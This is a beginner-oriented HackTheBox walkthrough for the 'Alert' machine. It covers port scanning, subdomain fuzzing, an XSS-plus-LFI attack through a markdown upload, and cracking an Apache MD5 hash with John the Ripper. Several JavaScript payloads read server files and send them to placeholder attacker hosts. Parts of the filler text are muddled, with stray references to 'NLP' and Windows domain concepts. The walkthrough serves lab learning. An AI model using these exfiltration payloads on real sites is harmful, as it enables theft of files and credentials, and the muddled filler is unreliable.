Beginner’s Guide to Conquering Alert on HackTheBox

Key Highlights

• Learn how beginners can tackle the Alert challenge on HackTheBox successfully.
• Discover the importance of Alert for newcomers in the field of cybersecurity.
• Find out the essential tools and resources necessary to navigate through Alert effectively.
• Understand the step-by-step process to conquer the Alert challenge, from reconnaissance to exploitation.
• Gain insights on how to persist and escalate privileges while dealing with Alert.

Introduction

Embark on a thrilling journey into the realm of cybersecurity with HackTheBox’s Alert hack challenge. Delve into the world of penetration testing as you navigate through intricate puzzles and conquer complex vulnerabilities. Brace yourself for an adrenaline-pumping experience that will test your skills and push you to your limits. Are you ready to sharpen your NLP prowess and unravel the secrets hidden within Alert? Let’s dive in and explore the exciting possibilities that await you in this immersive cybersecurity simulation.

Understanding the Basics of HackTheBox

HackTheBox is a platform that simulates real-world cybersecurity challenges. Alert, one of its boxes, offers an ideal starting point for beginners. It provides a safe environment to hone your skills in ethical hacking. By navigating through different paths and utilizing various methods, Alert helps users understand the fundamentals of penetration testing. Mastering Alert can earn you bonus points and valuable insights into reverse shells, open ports, and vulnerabilities. It’s a pivotal step towards gaining root access and sharpening your cybersecurity prowess.

What is HackTheBox?

HackTheBox is a popular online platform that offers realistic penetration testing environments for cybersecurity enthusiasts, including challenges similar to CTFs. Users can practice their hacking skills on various machines, challenges, and scenarios that can be found on the platform’s blog to enhance their knowledge and experience in the field of cybersecurity.

Why Alert is a Must-Try for Beginners

Alert on HackTheBox is a prime choice for beginners due to its immersive learning experience. It offers a safe environment to practice NLP techniques and enhance skills through real-world scenarios. The platform encourages hands-on exploration, providing a practical approach to understanding cybersecurity concepts. By engaging with Alert, newcomers can grasp the significance of enumeration, identifying vulnerabilities, and various exploitation methods in a controlled setting. This step-by-step journey equips beginners with essential knowledge and practical skills essential for advancing in the cybersecurity domain.

Getting Started with Alert on HackTheBox

To begin tackling Alert on HackTheBox, ensure you have the necessary tools like a pwnbox and VPN access set up. Registrer an account on HackTheBox and familiarize yourself with the platform. Take time to understand the importance of enumeration, as it lays the foundation for successful penetration testing. Start by exploring the different paths Alert offers; remember, it’s okay to encounter challenges and learn from them. Embrace the learning process and keep pushing forward.

Essential Tools and Resources You’ll Need

Essential tools for HackTheBox’s Alert include a pwnbox for efficient testing, an OpenVPN connection to access the lab on various operating systems (OS), including Linux, and a browser for interfacing with web applications. You’ll benefit from a terminal for executing commands, an SSH client for secure connections, and a text editor to modify code and scripts. Additionally, having virtual machines (VMs) and Docker containers that will not respond to a ping for isolation is crucial. These resources will enhance your experience in navigating Alert’s challenges effectively.

Setting Up Your HackTheBox Account

Upon embarking on your HackTheBox journey, the initial step involves setting up your account. This process is straightforward; create an account on the HackTheBox website using a valid email. Upon successful registration, you will be granted access to a plethora of challenges and labs. It’s essential to pay attention to account details for seamless navigation within the platform. Familiarize yourself with the layout to maximize your learning experience and skill development.

ALSO READ: Mastering BlockBlock: Beginner’s Guide from HackTheBox

Step-by-Step Guide to Conquering Alert

Step 1: Launch Alert on HackTheBox and perform initial reconnaissance. Enumerate the target machine to identify weaknesses. Step 2: Find and exploit vulnerabilities to gain a foothold. Step 3: Execute the attack to escalate privileges and secure root access. Utilize various methods like reverse shells and file uploads to navigate challenges. Celebrate each successful step towards mastering Alert on HackTheBox. Practice persistence and ingenuity to complete the challenge with finesse.

Step 1: Initial Reconnaissance and Enumeration

Performing initial reconnaissance involves gathering information about the target, such as its IP address, open ports, and server details. Enumeration is key to discovering vulnerabilities and potential entry points. Use tools like Nmap for port scanning and enumeration scripts to delve deeper. Document all findings meticulously in an md file. Remember, thorough reconnaissance lays a solid foundation for the subsequent steps in the penetration testing process. Stay methodical and detailed to set yourself up for success.

NMap Scan Result

NMap Scan Result Analysis

Open Ports:

Port 22 (SSH)

• State: Open
• Service: SSH
• Version: OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
• Notes:
  • The presence of OpenSSH suggests this service is for remote administration.
  • Version 8.2p1 has known vulnerabilities (e.g., CVE-2020-15778). Check for patch status or try SSH enumeration techniques.
  • The ssh-hostkey output provides three types of keys (RSA, ECDSA, ED25519), useful for fingerprinting or verifying authenticity during connection.

Port 80 (HTTP)

• State: Open
• Service: HTTP (Apache)
• Version: Apache httpd 2.4.41 ((Ubuntu))
• Notes:
  • The web server redirects to http://alert.htb/. This might be a virtual host; ensure the Host header is set during further exploration.
  • Version 2.4.41 may have potential vulnerabilities such as CVE-2020-11984 or CVE-2020-13950. Check patch status.
  • The redirected domain suggests a possible entry point for web exploitation or directory enumeration.

Filtered Ports:

Port 12227

Review firewall rules or routing configurations for further investigation.

• State: Filtered
• Service: Unknown
• Notes:
  • The port is filtered, meaning there is no response or it is blocked by a firewall.
  • It could host an unusual or custom service. Try techniques like udp-scan, service-fingerprint, or firewalk to gather more information.
  • Review firewall rules or routing configurations for further investigation.

Box ENUMERATION

During enumeration, I discovered two open ports: 22 and 80. Based on the room’s name, “alert,” I suspected the challenge would involve an XSS (Cross-Site Scripting) vulnerability, which appeared to be the key to solving it.

Further investigation revealed a subdomain named subdomain.alert.htb during subdomain enumeration. To probe the subdomain, I used the following ffuf command:

ffuf -c -u <TARGET_URL> -H "<HEADER_NAME>: <FUZZ_HEADER_VALUE>" -w <WORDLIST_PATH> -fc <FILTER_CODE>

On the webpage, there was an upload feature for markdown (.md) files and a preview option that rendered the content. Initially, I attempted to extract information from uploaded .md files, but those attempts didn’t yield any useful results. After experimenting with different payloads and techniques, I successfully identified and exploited an XSS vulnerability via the .md file upload feature.

ALSO READ: Mastering Administrator: Beginner’s Guide from HackTheBox

Step 2: Identifying Vulnerabilities

One crucial step in conquering Alert on HackTheBox is identifying vulnerabilities. This stage involves thorough reconnaissance to pinpoint potential weak points in the system that could be exploited by an attacker, including examining the event logs and identifying domain admin accounts, as well as checking for any NTDS related anomalies. By examining the event logs, domain controllers, and open ports, you can uncover areas where security may be compromised. Utilizing various methods like analyzing source code and conducting penetration tests, you can determine the most effective approach to gaining root access. Vigilance and attention to detail are key in this phase of the process.

Step 3: Exploitation

Deploy your expertise in exploiting vulnerabilities discovered during enumeration on the webpage, including utilizing plaintext default credentials where applicable. Execute effective attacks to gain root access swiftly. Employ various methods, including different methods such as PHP payloads or XSS injections, for maximum impact. Utilize open ports on your local machine to establish a reverse shell promptly. Get a copy of the source to navigate the system adeptly and avoid falling into a rabbit hole. Elevate your skills by mastering the art of persistence and escalation to acquire necessary credentials, including learning how to work with hash values. Capture the flag by exploiting weaknesses strategically. Acquire bonus points by demonstrating proficiency in exploiting the system with John, the renowned tool for cracking passwords. Master the exploitation phase to advance successfully in Alert on HackTheBox, htb.

Initial Foothold

Step 1: Initial Reconnaissance and Enumeration
Start by gathering as much information as possible about the target. This phase lays the foundation for the entire challenge. Key activities include:

• Port Scanning: Use tools like Nmap to identify open ports, services, and versions.
• Service Enumeration: Investigate services for potential vulnerabilities.
• Subdomain Enumeration: Probe for additional subdomains or virtual hosts.
• Documentation: Keep detailed notes of all findings for reference.

Example Tools:

• Nmap: For port and service discovery.
• ffuf: For subdomain and directory enumeration.
• Enum4linux: For SMB enumeration.

---

Step 2: Identifying Vulnerabilities
Analyze the information from reconnaissance to pinpoint weaknesses:

• Look for outdated or vulnerable service versions (e.g., SSH, HTTP).
• Examine web applications for features like file upload or login forms.
• Test for vulnerabilities like Local File Inclusion (LFI), Cross-Site Scripting (XSS), SQL Injection, or command injection.

Key Actions:

• Check for default credentials or weak configurations.
• Review the application’s source code if accessible.
• Use tools like Burp Suite or Nikto to scan for web application flaws.

---

Step 3: Exploitation
Leverage identified vulnerabilities to gain access:

• Use crafted payloads to exploit issues like XSS or file uploads.
• Establish a reverse shell to access the system.
• Extract sensitive information like configuration files or hashed credentials.

Example Scenario:

• Markdown Viewer Exploit: If an upload feature is available, upload a file with a payload like:htmlCopyEdit<script> fetch('/etc/passwd') .then(response => response.text()) .then(data => console.log(data)); </script> Trigger the payload to read files or exfiltrate data.

---

Step 4: Privilege Escalation
After initial access, elevate your privileges to root:

• Search for misconfigurations (e.g., SUID binaries, writable files).
• Use tools like LinPEAS or GTFOBins to automate privilege escalation checks.
• Crack hashes from files like /etc/shadow using John the Ripper or Hashcat.

Example:

• Analyze configuration files (e.g., Apache .htpasswd) for hardcoded credentials.
• Exploit vulnerable services to gain root access.

---

Step 5: Flag Extraction
Once root access is obtained, locate and extract the challenge flags:

• User Flag: Typically in /home/{user}/user.txt.
• Root Flag: Usually found in /root/root.txt.

Commands:

• cat /home/{user}/user.txt
• cat /root/root.txt

---

Key Takeaways

1. Preparation is Critical: Reconnaissance and enumeration provide the roadmap to exploitation.
2. Persistence Pays Off: Challenges often require creative thinking and persistence.
3. Document Everything: Detailed notes help with future learning and report writing.
4. Practice Security Measures: As a developer or admin, enforce input sanitization, strict access controls, and regular patching to mitigate such vulnerabilities.

Hosting a Malicious Server

To exfiltrate data from the target system, I set up a Python3 HTTP server on port 8888 to capture the output of my payload.

python3 -m http.server 8888

This server acted as a listener, ready to receive any data fetched and sent by the crafted exploit.

---

Uploading a Malicious Markdown File

The payload was embedded into a .md file containing the following malicious script:

<script>
const targetURL = "example.com";
const paramKey = "file";
const callbackURL = "example.com";
const callbackParam = "file";

fetch(`${targetURL}?${paramKey}=filepath`)
  .then(response => response.text())
  .then(data => {
    fetch(`${callbackURL}?${callbackParam}=` + encodeURIComponent(data));
  });
</script>

When this file was uploaded, it leveraged the application’s LFI vulnerability to fetch sensitive files and redirect their contents to my server.

---

Triggering the Payload

The uploaded .md file generated a link in the application’s UI. Hovering over this link revealed the payload’s URL, which could be copied and triggered via the application’s contact page.

As the payload executed, my Python server received Base64-encoded responses. Decoding these responses revealed sensitive files, starting with /etc/passwd, which identified two system users.

---

Expanding the Attack Surface

After identifying potential users, I attempted brute-forcing SSH credentials. However, these efforts were unsuccessful. Shifting focus, I explored Apache configuration files using adjusted payloads:

Fetching Apache Configurations

<script>
const targetURL = "endpoint.php";
const filePath = "../../../file";
const callbackURL = "example.com";

fetch(`${targetURL}?file=${encodeURIComponent(filePath)}`)
  .then(response => response.text())
  .then(data => {
    fetch(`${callbackURL}${encodeURIComponent(data)}`);
  });
</script>

Extracting Apache Password Files

<script>
fetch("TARGET_URL?file=FILE_PATH")
  .then(response => response.text())
  .then(data => {
    fetch("EXFIL_URL?file_content=" + encodeURIComponent(data));
  });
</script>

These payloads provided critical configuration details and a hashed credential stored in .htpasswd.

---

Cracking the Apache MD5 Hash

The .htpasswd file revealed a hashed password resembling:

a****t:$****$*********$**********************/

This format, specific to Apache’s MD5 hashing, was easily cracked using John the Ripper with the popular rockyou.txt wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long alert.hash

Upon successful cracking, the plaintext password opened new doors for further exploration.

---

Key Takeaways

1. LFI and Payload Design: Combining LFI with a crafted script can enable effective exfiltration of critical files.
2. Data Harvesting: Apache configuration files often contain sensitive details, making them high-value targets in web application exploits.
3. Hash Cracking: Tools like John the Ripper, paired with robust wordlists, can efficiently decrypt common hash formats.

This process highlights the importance of securing file inclusion vulnerabilities, sanitizing user inputs, and enforcing strict access controls for sensitive files. If you’re a sysadmin or developer, implementing measures like these is vital to safeguarding your application against similar attacks.

Step 4: Flag Extraction

In the final step of conquering challenges on HackTheBox, extracting both the user flag and the root flag is essential for completing the mission. These flags serve as proof of your successful penetration and mastery of the box.

User Flag Extraction

After gaining initial access to the target system, typically through exploiting vulnerabilities, your first task is to locate the user flag. This flag is usually placed in the home directory of the user you compromised, commonly named user.txt. Use commands like cat /home/{username}/user.txt to reveal its contents. Securing the user flag is a significant milestone, marking your progression in the challenge.

Logging in as the extracted user, we get the user flag.

Root Flag Extraction

Having obtained the user flag, the next step is to escalate your privileges to root. Utilize the knowledge gained throughout your engagement, employing techniques like privilege escalation exploits or misconfigurations to gain root access. Once you are operating as the root user, locate the root flag, typically found in the root directory (/root/). The root flag is often named root.txt, and revealing its contents with cat /root/root.txt concludes your task. Collecting both flags not only demonstrates your skill in ethical hacking but also signifies the successful completion of the challenge on HackTheBox. Always remember to document your methods and findings during this process, as they are invaluable for continual learning and improvement.

Conclusion

Remember, mastering Alert on HackTheBox is a pivotal step for aspiring cybersecurity enthusiasts. Utilize the knowledge gained to tackle more advanced challenges. Stay curious and persistent, as every path explored enhances your skills. Always document your journey, as learning from mistakes is as crucial as celebrating victories. Keep honing your NLP skills and stay updated on the latest trends to stay ahead in the cybersecurity game. Good luck on your future hacking endeavors!

Frequently Asked Questions

What are the prerequisites for attempting Alert?

To attempt Alert on HackTheBox, you should have a basic understanding of networking, web applications, and common security concepts. Familiarity with tools like Nmap, Burp Suite, and Metasploit is recommended. Additionally, having a curious mindset and eagerness to learn are essential prerequisites.

How long does it typically take to solve Alert?

Solving Alert on HackTheBox can vary based on experience level, but typically takes several hours to days. Beginners may require more time for initial understanding and exploration.

Can Alert be solved without prior hacking experience?

Certainly! Alert on HackTheBox can be solved without prior hacking experience by leveraging the platform’s guided challenges and extensive resources. Beginners can learn essential skills through practical application, making it an ideal starting point for those new to hacking.

What should I do if I get stuck on Alert?

If you find yourself stuck on Alert, don’t panic. Reach out to the HackTheBox community for hints, explore relevant forums, or watch walkthrough videos. Take a step back, review your progress, and approach the challenge from a different angle. Persistence and creativity are key!

Where can I find more challenges similar to Alert?

Explore HackTheBox’s platform for a plethora of challenges akin to Python and JavaScript Alert. Dive into various categories offering diverse difficulty levels, honing your skills further in Python and JavaScript with the app. Engage in active community forums, participate in live events, and unlock new challenges regularly.